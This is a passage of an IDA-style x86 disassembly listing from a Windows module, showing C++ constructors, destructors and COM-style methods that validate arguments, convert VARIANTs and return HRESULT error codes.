		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4579A:				; DATA XREF: .text:69B457E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax


loc_69B457B2:				; CODE XREF: sub_69B45704+8Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B457D2:				; CODE XREF: sub_69B45704+1Aj
					; sub_69B45704+33j
		call	sub_69B1853C
		retn	8
sub_69B45704	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B457E0	dd 0FFFFFFFFh			dd offset loc_69B45791
		dd offset loc_69B4579A

; =============== S U B	R O U T	I N E =======================================



sub_69B457EC	proc near		; CODE XREF: sub_69B458D3+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B9906C
		push	off_69B99070
		lea	ecx, [esi+0Ch]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B457EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4580E	proc near		; CODE XREF: sub_69B45A4C+3p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B99090
		push	off_69B99094
		lea	ecx, [esi+0Ch]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B4580E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4582F	proc near		; CODE XREF: sub_69B45B61+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B990B4
		push	off_69B990B8
		lea	ecx, [esi+0Ch]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B4582F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45851	proc near		; DATA XREF: .text:off_69B14D34o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B45870
		test	[esp+4+arg_0], 1
		jz	short loc_69B45869
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B45869:				; CODE XREF: sub_69B45851+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B45851	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45870	proc near		; CODE XREF: sub_69B45851+3p
		mov	eax, ecx
		lea	ecx, [eax-4]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		jmp	loc_69B88066
sub_69B45870	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45880	proc near		; CODE XREF: sub_69B14D48+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		push	offset dword_69B2B0D0
		lea	ecx, [esi+4]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B45880	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4589A	proc near		; DATA XREF: .text:off_69B1DF64o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B458B9
		test	[esp+4+arg_0], 1
		jz	short loc_69B458B2
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B458B2:				; CODE XREF: sub_69B4589A+Dj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
sub_69B4589A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B458B9	proc near		; CODE XREF: sub_69B4589A+3p
		mov	eax, ecx
		lea	ecx, [eax-0Ch]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		jmp	loc_69B88066
sub_69B458B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B458C9	proc near		; DATA XREF: .text:69B1DF70o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B18E72
sub_69B458C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B458D3	proc near		; CODE XREF: sub_69B1C04C+8277p
					; sub_69B4595B+86p ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B457EC
		mov	ecx, [esp+4+arg_0]
		mov	dword ptr [esi], offset	off_69B12608
		mov	dword ptr [esi+4], offset off_69B28084
		mov	dword ptr [esi+0Ch], offset off_69B2807C
		call	sub_69B1DE55
		mov	eax, esi
		pop	esi
		retn	4
sub_69B458D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45902	proc near		; DATA XREF: .text:off_69B2807Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B44884
		test	[esp+4+arg_0], 1
		jz	short loc_69B4591A
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B4591A:				; CODE XREF: sub_69B45902+Dj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
sub_69B45902	endp

; ---------------------------------------------------------------------------


loc_69B45921:				; DATA XREF: .text:off_69B1E070o
		push	esi
		mov	esi, ecx
		call	sub_69B45940
		test	byte ptr [esp+8], 1
		jz	short loc_69B45939
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B45939:				; CODE XREF: .text:69B4592Ej
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B45940	proc near		; CODE XREF: .text:69B45924p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		add	esi, 0Ch
		push	esi
		call	sub_69B17230
		pop	esi
		jmp	sub_69B2C65C
sub_69B45940	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4595B	proc near		; DATA XREF: .text:69B1262Co
		push	2Ch
		push	offset dword_69B45A40
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B4597A
		mov	eax, 80070057h
		jmp	loc_69B45A35
; ---------------------------------------------------------------------------


loc_69B4597A:				; CODE XREF: sub_69B4595B+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B45993
		mov	eax, 80004005h
		jmp	loc_69B45A35
; ---------------------------------------------------------------------------


loc_69B45993:				; CODE XREF: sub_69B4595B+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		mov	[ebp-4], ebx
		mov	ecx, [esi+18h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+64h]
		mov	esi, eax
		mov	[ebp-34h], esi
		cmp	esi, ebx
		jz	short loc_69B459EE
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	eax, 3
		jz	short loc_69B459EE
		push	1Ch
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-38h], ecx
		test	ecx, ecx
		jz	short loc_69B459E8
		push	esi
		call	sub_69B458D3
		jmp	short loc_69B459EA
; ---------------------------------------------------------------------------


loc_69B459E8:				; CODE XREF: sub_69B4595B+83j
		xor	eax, eax


loc_69B459EA:				; CODE XREF: sub_69B4595B+8Bj
		mov	[edi], eax
		jmp	short loc_69B45A16
; ---------------------------------------------------------------------------


loc_69B459EE:				; CODE XREF: sub_69B4595B+67j
					; sub_69B4595B+73j
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-3Ch], ebx
		jmp	short loc_69B45A16
; ---------------------------------------------------------------------------


loc_69B459F6:				; DATA XREF: .text:69B45A44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B459FF:				; DATA XREF: .text:69B45A48o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B45A16:				; CODE XREF: sub_69B4595B+91j
					; sub_69B4595B+99j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B45A35:				; CODE XREF: sub_69B4595B+1Aj
					; sub_69B4595B+33j
		call	sub_69B1853C
		retn	8
sub_69B4595B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B45A40	dd 0FFFFFFFFh			dd offset loc_69B459F6
		dd offset loc_69B459FF

; =============== S U B	R O U T	I N E =======================================



sub_69B45A4C	proc near		; CODE XREF: sub_69B45B21+Ep
		push	esi
		mov	esi, ecx
		call	sub_69B4580E
		mov	dword ptr [esi], offset	off_69B1267C
		mov	dword ptr [esi+4], offset off_69B280A8
		mov	dword ptr [esi+0Ch], offset off_69B280A4
		mov	dword ptr [esi+18h], offset off_69B28094
		and	dword ptr [esi+1Ch], 0
		and	dword ptr [esi+20h], 0
		mov	eax, esi
		pop	esi
		retn
sub_69B45A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45A7B	proc near		; DATA XREF: .text:69B2809Co

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx+4]
		mov	ecx, [esp+4+arg_0]
		test	ecx, ecx
		jz	short loc_69B45A97
		mov	eax, [ecx]
		call	dword ptr [eax+0F4h]
		cmp	esi, eax
		jz	short loc_69B45A97
		xor	eax, eax
		jmp	short loc_69B45A9A
; ---------------------------------------------------------------------------


loc_69B45A97:				; CODE XREF: sub_69B45A7B+Aj
					; sub_69B45A7B+16j
		xor	eax, eax
		inc	eax


loc_69B45A9A:				; CODE XREF: sub_69B45A7B+1Aj
		pop	esi
		retn	4
sub_69B45A7B	endp

; ---------------------------------------------------------------------------


loc_69B45A9E:				; DATA XREF: .text:off_69B280A8o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B43F50
; ---------------------------------------------------------------------------


loc_69B45AA8:				; DATA XREF: .text:69B28098o
		add	ecx, 0FFFFFFE8h
		jmp	loc_69B44054
; ---------------------------------------------------------------------------


loc_69B45AB0:				; DATA XREF: .text:off_69B280A4o
		push	esi
		mov	esi, ecx
		call	sub_69B45ACF
		test	byte ptr [esp+8], 1
		jz	short loc_69B45AC8
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B45AC8:				; CODE XREF: .text:69B45ABDj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B45ACF	proc near		; CODE XREF: .text:69B45AB3p
		push	esi
		mov	esi, ecx
		push	edi
		push	0
		lea	edi, [esi+10h]
		push	edi
		mov	dword ptr [esi-0Ch], offset off_69B1267C
		mov	dword ptr [esi-8], offset off_69B280A8
		mov	dword ptr [esi], offset	off_69B280A4
		mov	dword ptr [esi+0Ch], offset off_69B28094
		call	sub_69B17320
		push	0
		add	esi, 14h
		push	esi
		call	sub_69B17320
		push	esi
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		pop	edi
		pop	esi
		jmp	sub_69B2C65C
sub_69B45ACF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45B17	proc near		; DATA XREF: .text:69B280A0o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B45514
sub_69B45B17	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45B21	proc near		; CODE XREF: sub_69B45EDC+77p
					; sub_69B45FDC+7Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		push	28h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B45B38
		mov	ecx, eax
		call	sub_69B45A4C
		mov	esi, eax
		jmp	short loc_69B45B3A
; ---------------------------------------------------------------------------


loc_69B45B38:				; CODE XREF: sub_69B45B21+Aj
		xor	esi, esi


loc_69B45B3A:				; CODE XREF: sub_69B45B21+15j
		push	[esp+4+arg_0]
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17320
		push	[esp+4+arg_4]
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		mov	al, [esp+4+arg_8]
		mov	[esi+24h], al
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B45B21	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45B61	proc near		; CODE XREF: sub_69B1C04C+8258p
					; sub_69B460C4+17Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B4582F
		mov	ecx, [esp+4+arg_0]
		mov	dword ptr [esi], offset	off_69B12658
		mov	dword ptr [esi+4], offset off_69B28084
		mov	dword ptr [esi+0Ch], offset off_69B28080
		call	sub_69B1DE55
		mov	eax, esi
		pop	esi
		retn	4
sub_69B45B61	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45B90	proc near		; DATA XREF: .text:off_69B28080o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B455FC
		test	[esp+4+arg_0], 1
		jz	short loc_69B45BA8
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B45BA8:				; CODE XREF: sub_69B45B90+Dj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
sub_69B45B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45BAF	proc near		; CODE XREF: sub_69B79EA1+5Dp
					; DATA XREF: .text:off_69B14CACo ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		lea	ecx, [eax+4]
		push	eax
		call	sub_69B8803B
		retn	0Ch
sub_69B45BAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45BC7	proc near		; CODE XREF: .text:69B6A12Bp
		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi-4]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, esi
		pop	esi
		jmp	loc_69B88066
sub_69B45BC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45BE2	proc near		; DATA XREF: .text:69B1DF94o
		push	3Ch
		push	offset dword_69B45CC8
		call	sub_69B19C5C
		mov	ebx, [ebp+0Ch]
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_69B45C01
		mov	eax, 80070057h
		jmp	loc_69B45CBF
; ---------------------------------------------------------------------------


loc_69B45C01:				; CODE XREF: sub_69B45BE2+13j
		mov	[ebx], edi
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, edi
		jnz	short loc_69B45C1A
		mov	eax, 80004005h
		jmp	loc_69B45CBF
; ---------------------------------------------------------------------------


loc_69B45C1A:				; CODE XREF: sub_69B45BE2+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-30h], edi
		mov	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	eax, esi
		mov	[ebp-34h], eax
		mov	eax, [eax+6Ch]
		mov	[ebp-38h], eax
		cmp	eax, edi
		jz	short loc_69B45C58
		mov	[ebp-3Ch], esi
		mov	ecx, [esi+6Ch]
		mov	[ebp-40h], ecx
		call	sub_69B2E804
		mov	[ebp-30h], eax
		cmp	eax, edi
		jl	short loc_69B45CA7
		jmp	short loc_69B45C6B
; ---------------------------------------------------------------------------


loc_69B45C58:				; CODE XREF: sub_69B45BE2+5Dj
		mov	[ebp-44h], esi
		mov	ecx, esi
		call	sub_69B3D6C4
		mov	[ebp-48h], eax
		cmp	eax, edi
		jnz	short loc_69B45C74
		mov	[ebx], edi


loc_69B45C6B:				; CODE XREF: sub_69B45BE2+74j
		mov	dword ptr [ebp-30h], 80004005h
		jmp	short loc_69B45CA7
; ---------------------------------------------------------------------------


loc_69B45C74:				; CODE XREF: sub_69B45BE2+85j
		push	1Ch
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-4Ch], ecx
		cmp	ecx, edi
		jz	short loc_69B45C8E
		push	dword ptr [ebp-48h]
		call	sub_69B458D3
		jmp	short loc_69B45C90
; ---------------------------------------------------------------------------


loc_69B45C8E:				; CODE XREF: sub_69B45BE2+A0j
		xor	eax, eax


loc_69B45C90:				; CODE XREF: sub_69B45BE2+AAj
		mov	[ebx], eax
		jmp	short loc_69B45CA7
; ---------------------------------------------------------------------------


loc_69B45C94:				; DATA XREF: .text:69B45CCCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B45C9D:				; DATA XREF: .text:69B45CD0o
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-30h], 1


loc_69B45CA7:				; CODE XREF: sub_69B45BE2+72j
					; sub_69B45BE2+90j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B45CBF:				; CODE XREF: sub_69B45BE2+1Aj
					; sub_69B45BE2+33j
		call	sub_69B1853C
		retn	8
sub_69B45BE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B45CC8	dd 0FFFFFFFFh			dd offset loc_69B45C94
		dd offset loc_69B45C9D

; =============== S U B	R O U T	I N E =======================================



sub_69B45CD4	proc near		; DATA XREF: .text:69B1DFC8o
		push	68h
		push	offset dword_69B45E78
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	eax, [ebp+2Ch]
		cmp	eax, ebx
		jnz	short loc_69B45CF3
		mov	eax, 80070057h
		jmp	loc_69B45E69
; ---------------------------------------------------------------------------


loc_69B45CF3:				; CODE XREF: sub_69B45CD4+13j
		mov	[eax], ebx
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		cmp	edi, ebx
		jnz	short loc_69B45D0E
		mov	eax, 80004005h
		jmp	loc_69B45E69
; ---------------------------------------------------------------------------


loc_69B45D0E:				; CODE XREF: sub_69B45CD4+2Ej
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	edi
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], ebx
		lea	eax, [ebp-3Ch]
		push	eax		; pvarg
		call	VariantInit
		push	3		; vt
		push	ebx		; wFlags
		lea	eax, [ebp+0Ch]
		push	eax		; pvarSrc
		lea	eax, [ebp-3Ch]
		push	eax		; pvargDest
		call	VariantChangeType
		mov	[ebp-40h], eax
		cmp	eax, ebx
		jnz	short loc_69B45D5E
		mov	ecx, [ebp-34h]
		mov	[ebp-44h], ecx
		cmp	ecx, 6
		jl	short loc_69B45D59
		mov	dword ptr [ebp-40h], 80004001h
		jmp	loc_69B45E51
; ---------------------------------------------------------------------------


loc_69B45D59:				; CODE XREF: sub_69B45CD4+77j
		cmp	ecx, 3
		jnz	short loc_69B45D6A


loc_69B45D5E:				; CODE XREF: sub_69B45CD4+6Cj
		mov	dword ptr [ebp-40h], 80070057h
		jmp	loc_69B45E51
; ---------------------------------------------------------------------------


loc_69B45D6A:				; CODE XREF: sub_69B45CD4+88j
		mov	[ebp-48h], ebx
		cmp	word ptr [ebp+1Ch], 8
		jnz	short loc_69B45DD6
		mov	eax, [ebp+24h]
		mov	[ebp-4Ch], eax
		cmp	eax, ebx
		jz	short loc_69B45DD6
		cmp	ecx, 1
		jz	loc_69B45E08
		cmp	ecx, 2
		jz	short loc_69B45E08
		push	eax		; lpString
		call	sub_69B1A587
		mov	[ebp-50h], eax
		mov	eax, [esi+18h]
		mov	edi, eax
		mov	[ebp-54h], edi
		mov	cl, [edi+7Ch]
		mov	[ebp-55h], cl
		push	ebx
		push	ebx
		push	ebx
		cmp	cl, bl
		jz	short loc_69B45DC0
		mov	[ebp-5Ch], eax
		mov	edi, [eax+70h]
		mov	[ebp-60h], edi
		mov	ecx, [ebp-50h]
		call	sub_69B2F266
		push	eax
		mov	ecx, edi
		jmp	short loc_69B45DCE
; ---------------------------------------------------------------------------


loc_69B45DC0:				; CODE XREF: sub_69B45CD4+D4j
		mov	[ebp-64h], eax
		mov	eax, [eax+70h]
		mov	[ebp-68h], eax
		push	dword ptr [ebp-50h]
		mov	ecx, eax


loc_69B45DCE:				; CODE XREF: sub_69B45CD4+EAj
		call	sub_69B4D7A3
		mov	[ebp-48h], eax


loc_69B45DD6:				; CODE XREF: sub_69B45CD4+9Ej
					; sub_69B45CD4+A8j
		mov	ecx, [esi+18h]
		mov	[ebp-70h], ecx
		push	1
		push	ebx
		push	ebx
		push	dword ptr [ebp-48h]
		push	dword ptr [ebp-44h]
		call	sub_69B3D2F2
		mov	[ebp-74h], eax
		push	1Ch
		call	sub_69B1D897
		mov	[ebp-78h], eax
		cmp	eax, ebx
		jz	short loc_69B45E27
		push	dword ptr [ebp-74h]
		mov	ecx, eax
		call	sub_69B458D3
		jmp	short loc_69B45E29
; ---------------------------------------------------------------------------


loc_69B45E08:				; CODE XREF: sub_69B45CD4+ADj
					; sub_69B45CD4+B6j
		mov	esi, 80070057h
		mov	[ebp-6Ch], esi
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, esi
		jmp	short loc_69B45E69
; ---------------------------------------------------------------------------


loc_69B45E27:				; CODE XREF: sub_69B45CD4+126j
		xor	eax, eax


loc_69B45E29:				; CODE XREF: sub_69B45CD4+132j
		mov	ecx, [ebp+2Ch]
		mov	[ecx], eax
		jmp	short loc_69B45E51
; ---------------------------------------------------------------------------


loc_69B45E30:				; DATA XREF: .text:69B45E7Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B45E39:				; DATA XREF: .text:69B45E80o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-40h], eax


loc_69B45E51:				; CODE XREF: sub_69B45CD4+80j
					; sub_69B45CD4+91j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-40h]


loc_69B45E69:				; CODE XREF: sub_69B45CD4+1Aj
					; sub_69B45CD4+35j ...
		call	sub_69B1853C
		retn	28h
sub_69B45CD4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B45E78	dd 0FFFFFFFFh			dd offset loc_69B45E30
		dd offset loc_69B45E39

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B45E84	proc near		; CODE XREF: .text:69B4636Ej
					; DATA XREF: .text:off_69B12608o ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B45E9E
		mov	eax, 80004005h
		jmp	short loc_69B45ED7
; ---------------------------------------------------------------------------


loc_69B45E9E:				; CODE XREF: sub_69B45E84+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_C]
		push	ebx
		call	sub_69B1B406
		push	[ebp+arg_8]
		mov	ecx, [esi+18h]
		push	[ebp+arg_4]
		push	esi
		push	0
		push	0
		push	0
		call	sub_69B1C04C
		lea	ecx, [ebp+var_C]
		mov	esi, eax
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B45ED7:				; CODE XREF: sub_69B45E84+18j
		pop	ebx
		leave
		retn	0Ch
sub_69B45E84	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B45EDC	proc near		; DATA XREF: .text:69B1263Co
		push	30h
		push	offset dword_69B45FD0
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B45EFB
		mov	eax, 80070057h
		jmp	loc_69B45FC3
; ---------------------------------------------------------------------------


loc_69B45EFB:				; CODE XREF: sub_69B45EDC+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B45F14
		mov	eax, 80004005h
		jmp	loc_69B45FC3
; ---------------------------------------------------------------------------


loc_69B45F14:				; CODE XREF: sub_69B45EDC+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	[ebp-2Ch], ebx
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-30h]
		call	sub_69B44112
		mov	[ebp-4], ebx
		mov	ecx, [esi+18h]
		mov	[ebp-34h], ecx
		mov	eax, [ecx]
		lea	edx, [ebp-38h]
		push	edx
		call	dword ptr [eax+68h]
		mov	[ebp-3Ch], eax
		cmp	eax, ebx
		jz	short loc_69B45F5C
		mov	esi, [esi+18h]
		mov	[ebp-40h], esi
		push	ebx
		push	ebx
		push	esi
		call	sub_69B45B21
		mov	[edi], eax
		jmp	short loc_69B45F65
; ---------------------------------------------------------------------------


loc_69B45F5C:				; CODE XREF: sub_69B45EDC+6Cj
		mov	[edi], ebx
		mov	dword ptr [ebp-2Ch], 1


loc_69B45F65:				; CODE XREF: sub_69B45EDC+7Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B45F95
; ---------------------------------------------------------------------------


loc_69B45F6B:				; DATA XREF: .text:69B45FD4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B45F74:				; DATA XREF: .text:69B45FD8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx
		mov	edi, [ebp+0Ch]


loc_69B45F95:				; CODE XREF: sub_69B45EDC+8Dj
		cmp	dword ptr [ebp-2Ch], 8000000Ah
		jnz	short loc_69B45FA7
		mov	dword ptr [ebp-2Ch], 1
		mov	[edi], ebx


loc_69B45FA7:				; CODE XREF: sub_69B45EDC+C0j
		lea	ecx, [ebp-30h]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B45FC3:				; CODE XREF: sub_69B45EDC+1Aj
					; sub_69B45EDC+33j
		call	sub_69B1853C
		retn	8
sub_69B45EDC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B45FD0	dd 0FFFFFFFFh			dd offset loc_69B45F6B
		dd offset loc_69B45F74

; =============== S U B	R O U T	I N E =======================================



sub_69B45FDC	proc near		; DATA XREF: .text:69B12654o
		push	30h
		push	offset dword_69B460B8
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B45FFB
		mov	eax, 80070057h
		jmp	loc_69B460AC
; ---------------------------------------------------------------------------


loc_69B45FFB:				; CODE XREF: sub_69B45FDC+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B46014
		mov	eax, 80004005h
		jmp	loc_69B460AC
; ---------------------------------------------------------------------------


loc_69B46014:				; CODE XREF: sub_69B45FDC+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	[ebp-2Ch], ebx
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-30h]
		call	sub_69B44112
		mov	[ebp-4], ebx
		mov	ecx, [esi+18h]
		mov	[ebp-34h], ecx
		mov	eax, [ecx]
		lea	edx, [ebp-38h]
		push	edx
		call	dword ptr [eax+9Ch]
		mov	[ebp-3Ch], eax
		cmp	eax, ebx
		jz	short loc_69B46060
		mov	esi, [esi+18h]
		mov	[ebp-40h], esi
		push	1
		push	ebx
		push	esi
		call	sub_69B45B21
		mov	[edi], eax
		jmp	short loc_69B4608C
; ---------------------------------------------------------------------------


loc_69B46060:				; CODE XREF: sub_69B45FDC+6Fj
		mov	[edi], ebx
		mov	dword ptr [ebp-2Ch], 1
		jmp	short loc_69B4608C
; ---------------------------------------------------------------------------


loc_69B4606B:				; DATA XREF: .text:69B460BCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B46074:				; DATA XREF: .text:69B460C0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax


loc_69B4608C:				; CODE XREF: sub_69B45FDC+82j
					; sub_69B45FDC+8Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


